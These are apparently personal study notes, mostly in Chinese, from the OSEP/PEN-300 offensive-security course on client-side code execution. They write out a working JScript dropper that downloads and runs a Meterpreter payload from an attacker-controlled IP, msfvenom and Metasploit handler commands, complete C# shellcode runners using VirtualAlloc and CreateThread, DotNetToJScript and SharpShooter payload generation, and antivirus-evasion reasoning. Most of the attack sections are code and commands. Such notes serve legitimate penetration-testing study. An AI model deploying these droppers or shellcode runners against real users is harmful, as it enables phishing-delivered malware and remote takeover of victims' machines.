[OSEP, PEN-300] Instructional notes - Part 2
[OSEP, PEN-300] Instructional notes - Part 2
Table of Contents
[TOC]
Link back to: "[OSEP, PEN-300] Instructional notes - Part 1"
Phishing with Jscript
從前面的 VBA Macro、ICS、ZIP DLL sideloading,轉到另一種 client-side execution
由 Windows Script Host 執行的 Microsoft JScript
受害者收到 .js 附件
→ 點擊
→ Windows Script Host 執行
→ JScript 建立 ActiveXObject
→ 呼叫 Windows 元件
→ 啟動外部程式或後續 payload
Creating a Basic Dropper in Jscript
JavaScript JavaScript 是一般網頁瀏覽器主要使用的 scripting language,依據 ECMAScript standard 通常搭配:HTML, CSS, DOM, Browser APIs
在瀏覽器裡執行時,會受到 sandbox 限制JScript JScript 是 Microsoft 開發的 JavaScript dialect,過去主要用於:
Internet Explorer,Windows Script Host,Classic ASP當 JScript 透過 Windows Script Host 執行時,它不在瀏覽器 sandbox 裡,因此它可以存取 ActiveX, COM objects, WScript object model, Windows applications, File system, Registry, Network objects 等等,也是可以被用作 client-side execution vector 的原因
Execution of Jscript on Windows
在 Settings > Apps > Default apps > Choose defaults by file type 可以看到 Windows 主要根據副檔名判斷要用什麼程式開啟:
.txt→ Notepad.pdf→ PDF reader.docx→ Microsoft Word.ps1→ 通常 Notepad.js→ Windows Script Host

其中看到 .ps1 是透過 Notepad 開啟,這樣會造成無法利用 PowerShell 直接執行腳本

.js 比 .ps1 更適合作為 phishing attachment:
(只要 user 點擊就會直接執行)
在 Web Broswer 之外執行 JavaScript 會繞過所有安全設定。讓攻擊者能夠利用舊版 ActiveX technology 和 Windows Script Host engine 進行互動:
透過呼叫 ActiveXObject 建構函式並提供 object name 來利用 ActiveX
使用 WScript.Shell 與 Windows Script Host Shell 交互,從而執行外部 Windows 應用程式
例如透過 ActiveXObject 建構函數從 WScript.Shell 類別 instantiate 一個名為「shell」的 Shell 對象,並透過 Run 命令執行 cmd.exe
var shell = new ActiveXObject("WScript.Shell")
var res = shell.Run("cmd.exe");
建立 test.js 點擊可以直接呼叫 cmd.exe
Flag exploit:
var shell = new ActiveXObject("WScript.Shell");
function generateFlag() {
var part1 = String.fromCharCode(56, 50, 55, 54, 54, 55, 54, 99);
var part2 = Number("972") + "ee0" + String.fromCharCode(99, 51);
var part3 = ["e1", "1109", "a3"].join("");
var part4 = "730a05da";
return "OS{" + part1 + part2 + part3 + part4 + "}";
}
function runCommand() {
shell.Run("cmd.exe /c echo Flag generation complete...");
}
function main() {
runCommand();
var flag = generateFlag();
WScript.Echo("Your flag is: " + flag);
}
main();
JScript Meterpreter Dropper
啟動 cmd.exe 的 JScript,擴充成一個完整的 downloader/dropper
Kali 產生 met.exe
→ Kali HTTP server 提供 met.exe
→ Metasploit handler 等待 callback
→ 受害者執行 .js
→ JScript 用 HTTP GET 下載 met.exe
→ ADODB.Stream 將 binary 寫入磁碟
→ WScript.Shell.Run() 執行 met.exe
→ met.exe 連回 Kali handler
先使用 msfvenom 產生 met.exe 的 64-bit Meterpreter reverse HTTPS exe,並將其儲存到 Kali 的 Web 根目錄。我們還將設定一個 Metasploit multi/handler 來擷取 session
在 Windows 使用 JavaScript 傳送一個簡單的 HTTP GET 請求
可以使用基於 Microsoft XML Core Services 及 MSXML2.XMLHTTP object 的 HTTP protocol parser
var url = "http://<Kali IP>/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
利用 Windows Script Host 的 CreateObject method 實例化 MSXML2.XMLHTTP object ,然後使用 Open 和Send 方法執行 HTTP GET 請求
(Kali 產生 reverse_https EXE)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.45.157 LPORT=443 EXITFUNC=thread -f exe -o met.exe

開 HTTP server 提供下載
sudo python3 -m http.server 80
(在 Kali 開啟 msfconsole 監聽)
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST <Kali IP>
set LPORT 443
set ExitOnSession false
set EnableStageEncoding false
在 Windows 建構 JS request
var url = "http://{Kali IP}/met.exe";
var http = WScript.CreateObject("MSXML2.XMLHTTP");
http.Open("GET", url, false);
http.Send();
if (http.Status == 200) {
var stream = WScript.CreateObject("ADODB.Stream");
stream.Open();
stream.Type = 1;
stream.Write(http.ResponseBody);
stream.Position = 0;
stream.SaveToFile("met.exe", 2);
stream.Close();
new ActiveXObject("WScript.Shell").Run("met.exe");
} else {
WScript.Echo("Download failed. HTTP status: " + http.Status);
}
透過 JScript 下載 met.exe 再 Run("met.exe")
在 Kali 成功截取 HTTP Reverse shell
getuid → 目前使用者
sysinfo → 主機名稱、Windows 版本、架構
getpid → Meterpreter 所在 process PID
shell → 取得一般 Windows CMD

Flag2 exploit:
var url = "http://192.168.45.157/met.exe";
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.Open("GET", url, false);
Object.Send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile("met.exe", 2);
Stream.Close();
var r = new ActiveXObject("WScript.Shell").Run("met.exe");
function generateFlag() {
var part1 = String.fromCharCode(49, 54, 55);
var part2 = String.fromCharCode(101, 55, 53);
var part3 = String.fromCharCode(49, 53, 51, 100);
var part4 = String.fromCharCode(51, 97, 97, 48);
var part5 = String.fromCharCode(50, 51, 52, 55);
var part6 = String.fromCharCode(48, 51, 57, 97);
var part7 = String.fromCharCode(52, 56, 98, 98);
var part8 = String.fromCharCode(49, 55, 99, 101, 53, 54);
return "OS{" +
part1 +
part2 +
part3 +
part4 +
part5 +
part6 +
part7 +
part8 +
"}";
}
var flag = generateFlag();
WScript.Echo("Your flag is: " + flag);
}
else
{
WScript.Echo("Download failed. HTTP status: " + Object.Status);
}
JScript and C#
把前面的 JScript 從下載並執行 EXE 提升成
JScript
→ 內嵌已編譯的 C# assembly
→ 透過 .NET 呼叫 Win32 API
→ 在記憶體中執行 payload
上述利用 JScript dropper 將 payload 落地到磁碟,容易被防毒掃描且會留下明顯檔案
嘗試不直接下載 EXE,不必將完整 payload 存成執行檔
改由 JScript 載入 C# assembly ,再由 C# 呼叫 Win32 API
Introduction to Visual Studio
先建立一個基礎開發環境: 選用常見 integrated development environments (IDEs) Mono 和 Microsoft Visual Studio
環境範例 dev01 / Windows development VM revert 後本機新增的程式碼可能消失,以 Kali SAMBA 作為持久化的 network file server
┌──(chw💲CHW)-[~]
└─$ sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
[2026-07-12 06:57:30] sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
[sudo] password for chw:
┌──(chw💲CHW)-[~]
└─$ sudo vi /etc/samba/smb.conf
[2026-07-12 07:23:26] sudo vi /etc/samba/smb.conf
┌──(chw💲CHW)-[~]
└─$ sudo cat /etc/samba/smb.conf
[2026-07-12 07:25:31] sudo cat /etc/samba/smb.conf
[visualstudio]
path = /home/chw/data
browseable = yes
read only = no
Samba 設定內容: [visualstudio] 為 share name
Windows 會透過 \\KALI_IP\visualstudio 存取
建立一個可以存取共享的 Samba 用戶,並開啟服務
┌──(chw💲CHW)-[~]
└─$ sudo smbpasswd -a kali
[2026-07-12 07:32:25] sudo smbpasswd -a kali
New SMB password:
Retype new SMB password:
Failed to add entry for user kali.
┌──(chw💲CHW)-[~]
└─$ sudo systemctl start smbd
[2026-07-12 07:32:41] sudo systemctl start smbd
┌──(chw💲CHW)-[~]
└─$ sudo systemctl start nmbd
[2026-07-12 07:32:46] sudo systemctl start nmbd
- smbd: 主要 SMB file-sharing service,負責檔案共享、認證、檔案讀寫、SMB protocol
- nmbd: 較舊的 NetBIOS name service,負責名稱解析與網路瀏覽相關功能

開啟讀寫權限:
┌──(chw💲CHW)-[~]
└─$ mkdir /home/chw/data
[2026-07-12 07:35:39] mkdir /home/chw/data
┌──(chw💲CHW)-[~]
└─$ chmod -R 777 /home/chw/data
[2026-07-12 07:35:49] chmod -R 777 /home/chw/data
透過 RDP 至 Kali SAMBA 成功登入:
確認 Samba 連線成功後,透過 Visual Studio 建立新專案

為什麼使用網路 Share 當 Visual Studio 專案位置?
Windows VM revert 不會刪除 Kali 檔案
可以從 Kali 備份、查看與編輯
不同 Windows lab machine 可以共用\
專案路徑選擇 Kali Share folder:
Visual Studio 建立後會有
Solution
└── Project
- Solution 是較上層的容器,可以包含多個 project
- Project 是一個可獨立編譯的單位

預設 C# Console App:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
}
}
}
using ...;: namespace importnamespace ConsoleApp1: namespace 用來組織程式碼,避免類別名稱衝突class Program: 定義類別,C# 程式的程式碼通常放在 classstatic void Main(string[] args): Main 是 console application 的 entry pointConsoleApp1.exe one two👉🏻
args[0] = "one",args[1] = "two"
建立一個簡單的 application,先使用 Console.WriteLine method 在運行時向 console 列印 Developer 認識的第一個句子
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World");
}
}
}

Debug 與 Release 差異:
- Debug 適合開發與除錯
- debug symbols
- 較少最佳化
- 額外除錯資訊
- 較容易逐行追蹤
- Release
- 啟用最佳化
- 較少除錯資訊
- 輸出較精簡
- 執行更接近正式版本
選擇 Release 可減少可能觸發掃描的 debugging information
接著選擇 Build > Build Solution
編譯輸出路徑: \\192.168.45.217\visualstudio\ConsoleApp1\ConsoleApp1\bin\Release\ConsoleApp1.exe
在 Powershell 嘗試執行以確保編譯成功
DotNetToJscript
上述將 C# source → Visual Studio 編譯 → .exe / .dll → 直接執行
進一步
C# source
→ 編譯成 .NET assembly
→ DotNetToJScript 將 assembly 序列化並嵌入 .js
→ 使用者執行 .js
→ Windows Script Host 載入 CLR
→ assembly 在記憶體中還原並執行
在 2017 security researcher James Forshaw 創建了 DotNetToJscript project
證明 Windows Script Host 的 JScript 可以透過 COM / ActiveX 與 .NET Framework 互動並載入序列化的 .NET assembly
主要用途是將編譯好的 .NET DLL 輸出包含該 assembly 的 JScript
使用 DotNetToJscript 建立記憶體 shellcode runner
將環境範例 DotNetToJScript/ 複製到 Kali SMB
使用 Virtual Studio 開起 DotNetToJScript Soluiton 會跳出 potential for malicious code 的告警
然後...會跳出第二個告警 XD
提醒將 Framework 更新到 .NET Framework 4.8
將 Program.cs L154 註解掉只檢查 .NET version 2 (移除舊版檢查)
Solution 中有兩個 Project:
- DotNetToJScript project 負責讀取 .NET assembly、序列化、產生 JScript、嵌入 Base64 blob,輸出 DotNetToJScript.exe
- ExampleAssembly project 要被 JScript 載入執行的 C# assembly,輸出 ExampleAssembly.dll
ExampleAssembly.dll
→ 交給 DotNetToJScript.exe
→ 產生 demo.js
查看 TestClass.cs:
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
public TestClass()
{
MessageBox.Show(
"Test",
"Test",
MessageBoxButtons.OK,
MessageBoxIcon.Exclamation
);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
using System.Diagnostics: Process.Start(...) 啟動外部 processusing System.Runtime.InteropServices: [ComVisible(true)] 讓該 class 對 COM 可見 (DotNetToJScript 的整個技巧依賴 JScript、ActiveX/COM 與 CLR 之間的互動)using System.Windows.Forms: MessageBox.Show(...) 顯示測試視窗當 JScript 執行
CreateInstance(entry_class)CLR 會建立 TestClass instance
建立 instance 時會自動呼叫 constructorCreateInstance("TestClass") → new TestClass() → constructor 執行 → MessageBox 顯示
接著 Build Solution 需要 DotNetToJScript.exe, NDesk.Options.dll, ExampleAssembly.dll\
- 至 DotNetToJScript/bin/Release ,並將 DotNetToJscript.exe 和 NDesk.Options.dll 複製到 Windows 11 開發機器上的 C:\Tools 資料夾
- ExampleAssembly/bin/Release資料夾,並將ExampleAssembly.dll複製到C:\Tools 資料夾

C:\Tools> DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
--ver=v4: 指定使用 CLR / .NET Framework v4

點擊 demo.js 發生什麼事:
使用者雙擊 demo.js
→ wscript.exe 執行 JScript
→ JScript 設定 CLR v4
→ 將 Base64 blob 解碼成 MemoryStream
→ BinaryFormatter 還原序列化內容
→ DynamicInvoke
→ CreateInstance("TestClass")
→ TestClass constructor
→ MessageBox.Show("Test")
查看 demo.js
function setversion() {
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/////AQAAAA...
var entry_class = 'TestClass';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}

function setversion(): 設定目前 process 的環境變數,告訴 CLR hosting 邏輯使用 .NET Framework 4 CLRfunction debug(s) {}: 產生 JScript 時沒有使用 debug flagbase64ToStream(): Base64 字串 → 轉成 bytes → Base64 decode → 寫入 MemoryStream → 回傳 MemoryStreamMemoryStream: serialized_obj Base64 → decode → MemoryStream → BinaryFormatter Deserializevar serialized_obj = "AAEAAAD/////AQAAAA...";: DotNetToJScript 產生的序列化內容,包含可協助載入 assembly 的 object graph / delegatevar entry_class = 'TestClass';: 指定要建立的 C# class 必須和 assembly 內的名稱一致 ("public class TestClass")new ActiveXObject( 'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter' );: 把 MemoryStream 裡的序列化 .NET object 還原DynamicInvoke(): 動態呼叫該 delegate,最終提供可取得或載入 assembly 的 objectCreateInstance(): 在已載入的 assembly 中建立指定 class 的 instance 👉🏻 TestClass
BinaryFormatter是高風險 API,反序列化不信任資料可能造成任意程式碼執行
Win32 API Calls From C#
上述能夠讓 C# 能夠直接呼叫 Windows 原生 API
JScript → DotNetToJScript → 載入 C# assembly
接著補上 P/Invoke → Win32 API
後續就能在 C# 中呼叫 MessageBox, VirtualAlloc, CreateThread, WaitForSingleObject 等 Windows API
C# 不能直接呼叫這些 native functions (user32.dll, kernel32.dll , ...etc),必須先透過 Platform Invocation Services (P/Invoke)
P/Invoke 的核心 👉🏻 [DllImport("user32.dll")]
告訴 CLR 這個方法不是 C# 實作的,存在於指定的 native DLL
執行時請載入 DLL 並呼叫該函式
[環境範例]
利用 MessageBoxA 驗證,MessageBoxA 位於 user32.dll
C# P/Invoke 宣告正確
DLL 載入成功
資料型別轉換正確
Win32 API 呼叫成功
利用 pinvoke 可以將 C data types 轉成 C# data types
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
class Program
{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
static void Main(string[] args)
{
MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
}
}
}
[DllImport("user32.dll")]: 指定 native function 在 user32.dll (user32.dll 主要提供視窗、訊息框、鍵盤滑鼠輸入、桌面 GUI、視窗管理)CharSet = CharSet.Auto: 表示字串 marshaling 方式由 runtime 根據平台決定
MessageBoxAA = ANSIMessageBoxWW = Unicode / UTF-16static: 不需要建立 Program class instanceIntPtr.Zero: 第一個參數是 hWnd 代表 parent window handle (NULL = 沒有指定 parent window)
完成整體架構後,仍需要 System.Runtime.InteropServices 不然會顯示 "The type or namespace name 'DllImport' could not be found" Error
using System.Runtime.InteropServices;
也可以不用 using,直接寫完整名稱 [System.Runtime.InteropServices.DllImport("user32.dll")]
完整 TestClass.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
static void Main(string[] args)
{
MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
}
}
}

ConsoleApp1.exe 啟動
→ CLR 執行 Main()
→ P/Invoke 載入 user32.dll
→ 找到 MessageBox
→ marshaling C# 參數
→ 呼叫 Win32 API
→ 顯示視窗
Shellcode Runner in C#
已驗證 C# 可以透過 DllImport 呼叫 Win32 API,接著在記憶體執行流程 👉🏻 Shellcode Runner
C# 程式啟動
→ 在記憶體配置區域
→ 把 byte[] payload 複製進去
→ 建立 thread 執行該位置
→ 等待 thread
第一步是使用 DllImport 導入三個 Win32 API 並配置相應的 argument data types:
VirtualAlloc在目前 process 的虛擬記憶體空間中配置一塊區域
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
lpAddress: 希望配置的位置,IntPtr.Zero 表示由 Windows 決定dwSize: 要配置的大小flAllocationType: 配置方式,例如 Reserve、CommitflProtect: 記憶體保護屬性
0x3000: MEM_COMMIT | MEM_RESERVE0x40: PAGE_EXECUTE_READWRITE
👉🏻 可讀可寫可執行
CreateThread建立一個新的 Windows thread 並從指定的記憶體位址開始執行
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId
);
lpStartAddress = addr: addr 就是前面配置並寫入 shellcode 的記憶體位置
CreateThread
→ 將 instruction pointer 指向 shellcode
→ 開始執行 shellcode
WaitForSingleObject等待指定 handle 對應的物件進入完成或 signaled 狀態
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
0xFFFFFFFF: INFINITE 無限等待
接著需要產生 shell code ,在 64-bit Windows OS 上,Jscript 預設在 64-bit context 中執行,因此須產生一個 csharp 撰寫的 64-bit Meterpreter staged payload。並使用相同的 multi/handler
建構 managed C# byte array (buf) ,利用 msfvenom 建構 bind shell payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 EXITFUNC=thread -f csharp

byte[] buf = new byte[626] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8...
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
完整的 C# shellcode runner
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[630] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
執行流程:
1. byte[] buf 保存 shellcode
2. size = buf.Length
取得 shellcode 大小
3. VirtualAlloc(...)
配置 RWX 記憶體
4. Marshal.Copy(...)
將 shellcode 複製到該區域
5. CreateThread(...)
以該記憶體位址作為 thread entry point
6. WaitForSingleObject(...)
防止主程式過早退出
需要將 CPU 架構設為 x64

BTW 需要用 Metasploit 連線到 bind Meterpreter
msfconsole
-
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS <TARGET_IP>
set LPORT 4444
run
Staged 與 stageless 差異:
windows/x64/meterpreter/bind_tcp: staged Meterpreter bind payloadwindows/x64/meterpreter_bind_tcp: stageless 版本,完整 Meterpreter 邏輯直接包含在 shellcode 中,通常 byte array 會大很多
Jscript Shellcode Runner
前一節已成夠編譯獨立的 C# console application,程式入口在 static void Main(string[] args) 必須執行 EXE 觸發
接著利用:
C# TestClass.cs
→ 編譯成 ExampleAssembly.dll
→ DotNetToJScript
→ runner.js
→ wscript.exe 執行 runner.js
→ 記憶體中載入 ExampleAssembly
→ 建立 TestClass instance
→ constructor 執行 shellcode runner
將 shellcode runner 要放進 constructor ,建立 instance 自動執行
DllImport 宣告需要放在 TestClass class 裡,但不能在 constructor 或其他 method
完整 TestClass 結構:
using System;
using System.Runtime.InteropServices;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId
);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds
);
public TestClass()
{
byte[] buf =
{
// x64 shellcode bytes
};
int size = buf.Length;
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)size,
0x3000,
0x40
);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0,
IntPtr.Zero
);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
編譯 ExampleAssembly
C:\Tools\
├── DotNetToJScript.exe
├── NDesk.Options.dll
└── ExampleAssembly.dll
產生 runner.js
C:\Tools> DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
SharpShooter
SharpShooter 則把大量重複工作包成一個 payload generation framework
原始 shellcode
→ SharpShooter
→ 自動產生 JScript / VBScript 等 delivery payload
→ Windows Script Host 執行
SharpShooter 使用 Python 2 開發,🥚 Python 2 已經停止安全更新
┌──(chw💲CHW)-[~]
└─$ cd /opt/
┌──(chw💲CHW)-[/opt]
└─$ sudo curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
┌──(chw💲CHW)-[/opt]
└─$ sudo python2 ./get-pip.py
┌──(chw💲CHW)-[/opt]
└─$ sudo git clone https://github.com/mdsecactivebreach/SharpShooter.git
Cloning into 'SharpShooter'...
┌──(chw💲CHW)-[/opt]
└─$ cd SharpShooter/
┌──(chw💲CHW)-[/opt/SharpShooter]
└─$ sudo python2 -m pip install --upgrade setuptools pip==20.3.4
┌──(chw💲CHW)-[/opt/SharpShooter]
└─$ sudo pip2 install -r requirements.txt

在環境範例中使用:
- 先產生 raw shellcode 執行方向是 Windows target → Kali handler,所以使用 reverse_https
msfvenom \
-p windows/x64/meterpreter/reverse_https \
LHOST=<KALI-IP> \
LPORT=443 \
-f raw \
-o /var/www/html/shell.txt

raw binary shellcode
- SharpShooter 指令
python2 SharpShooter.py \
--payload js \
--dotnetver 4 \
--stageless \
--rawscfile /var/www/html/shell.txt \
--output test
--payload js: 指定 delivery payload 格式 JScript--dotnetver 4: 指定目標使用 .NET Framework 4--stageless: stageless 不另外透過 HTML smuggling 分階段傳送 JScript--rawscfile: 從這個檔案讀取 raw shellcode

將 test.js 複製到目標機器上。點擊檔案即可獲得 reverse shell
test.js
→ wscript.exe
→ CLR v4
→ 載入 .NET assembly
→ VirtualAlloc
→ 複製 shellcode
→ 執行 shellcode
→ reverse HTTPS callback
同時要開好 meterpreter handler
msfconsole
-
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS <KALI_IP>
set LPORT 443
run
整體流程:
Kali handler 先開始監聽
→ Windows 執行 test.js
→ shellcode 啟動
→ 連回 Kali
→ handler 傳送 stage
→ Meterpreter session
Reflective PowerShell
比較兩種 PowerShell 呼叫 Win32 API 的方式:
- 傳統:Add-Type
- 進階:Reflection
上述接使用 PowerShell 內嵌 C#,並利用 Add-Type 編譯
表面上 shellcode 是在記憶體內執行,🥚 Add-Type 的編譯過程不完全是純記憶體操作
會暫時在磁碟產生 C# source file:.cs 與 Compiled assembly:.dll 可能被 AV or EDR 識別
Classic PowerShell Tradecraft
Add-Type 會把 C# 程式碼在執行時編譯成 .NET type
PowerShell and .NET
PowerShell shellcode runner 不會將 shellcode 寫入 disk,因此可以假設我們的程式碼完全在記憶體中執行
🥚 當使用Add-Type 執行 PowerShell 程式碼時,Visual C# Command-Line Compiler 會處理編譯過程,將 C# source code 和編譯後的 C# assembly 暫時寫入磁碟
⚠️ 這會在硬碟上留下一些痕跡
利用 Process Monitor 來監控:

開啟 PowerShell ISE 執行 PowerShell shellcode runner,可以看到包含 CreateFile、WriteFile 和 CloseFile:
rtylilrr.0.cs,rtylilrr.dll, ...etc
可以使用 CurrentDomain object 的 GetAssemblies method 列出已載入的 assemblies。這個 method 是透過靜態 AppDomain class 呼叫
PS C:\Users\offsec> [appdomain]::currentdomain.getassemblies() | Sort-Object -Property fullname | Format-Table fullname
FullName
--------
0bhoygtr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
Accessibility, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
MetadataViewProxies_092d3241-fb3c-4624-9291-72685e354ea4, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
Microsoft.GeneratedCode, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
...
PresentationFramework-SystemXml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
qdrje0cy, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
r1b1e3au, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
rtylilrr, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
...
[AppDomain]: System.AppDomain .NET class 的簡寫CurrentDomain: 取得目前 PS process 使用的 AppDomainGetAssemblies(): 該 AppDomain 已載入的所有 assemblySort-Object: 依照 assembly 的 FullName 排序Format-Table: 表格輸出rtylilrr 已載入到 process 代表 PowerShell 將 C# source code(.cs)寫入硬碟,該檔案被編譯成 assembly(.dll),然後載入到 process 中
Add-Type 在 PowerShell 執行期間:
1. 接收 C# source code
2. 呼叫 C# compiler
3. 編譯成 .NET assembly
4. 將 assembly 載入目前 PowerShell process
5. 讓 PowerShell 使用其中的 class 和 method
PowerShell script
→ Add-Type
→ C# compiler
→ temporary .cs
→ temporary .dll
→ assembly loaded into AppDomain
→ PowerShell 呼叫該 class
Keep That PowerShell in Memory
如何不使用 Add-Type、不產生暫存 C# source code、不產生暫存編譯 DLL
直接用 PowerShell process 內已載入的 .NET component
Leveraging UnsafeNativeMethods
呼叫 Win32 API 有兩種主要方式:
- Linked import 上述使用過的
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(...);
或 PowerShell Add-Type $CSharpCode
- Dynamic lookup
這種技術的目的是在記憶體中建立 .NET assembly,用意不是在編寫程式碼並編譯
Windows 提供兩個核心 API:GetModuleHandle、GetProcAddress\- GetModuleHandle: 接收 DLL 名稱後,回傳該模組在目前 process 中的 handle (可以視為該 DLL 的載入基底位址)。例如輸出
140727169908736轉成 HEX0x7FFD98F90000,可在 Process Explorer 中對照 user32.dll 的 Load Address - GetProcAddress: 接收 DLL handle 和函式名稱,有了函式位址後,可以建立正確的 delegate signature 並呼叫
- GetModuleHandle: 接收 DLL 名稱後,回傳該模組在目前 process 中的 handle (可以視為該 DLL 的載入基底位址)。例如輸出
流程:
GetModuleHandle("user32.dll")
→ 得到 user32.dll 的 module handle / base address
GetProcAddress(moduleHandle, "MessageBoxA")
→ 得到 MessageBoxA 的實際記憶體位址
列出目前載入的 assemblies
Powershell:
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$Assemblies |
ForEach-Object {
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $null
}

GetAssemblies(): 列出目前 AppDomain 中已載入的所有 .NET assemblies- 搜尋名稱包含 Unsafe 的靜態成員
Get-Member -Static: 只列出 static 成員"TypeName: Microsoft.Win32.UnsafeNativeMethods"
為什麼 UnsafeNativeMethods,.NET Framework 內部常使用類似名稱封裝 P/Invoke (NativeMethods,SafeNativeMethods,UnsafeNativeMethods)
同時包含 GetModuleHandle 和 GetProcAddress,可能涉及指標、handle 或安全敏感 native 操作
接著需要找出是哪個 assembly 提供這些 method:
搜尋「GetModuleHandle」會發現 18 個結果,其中一個位於 Microsoft.Win32.UnsafeNativeMethods class
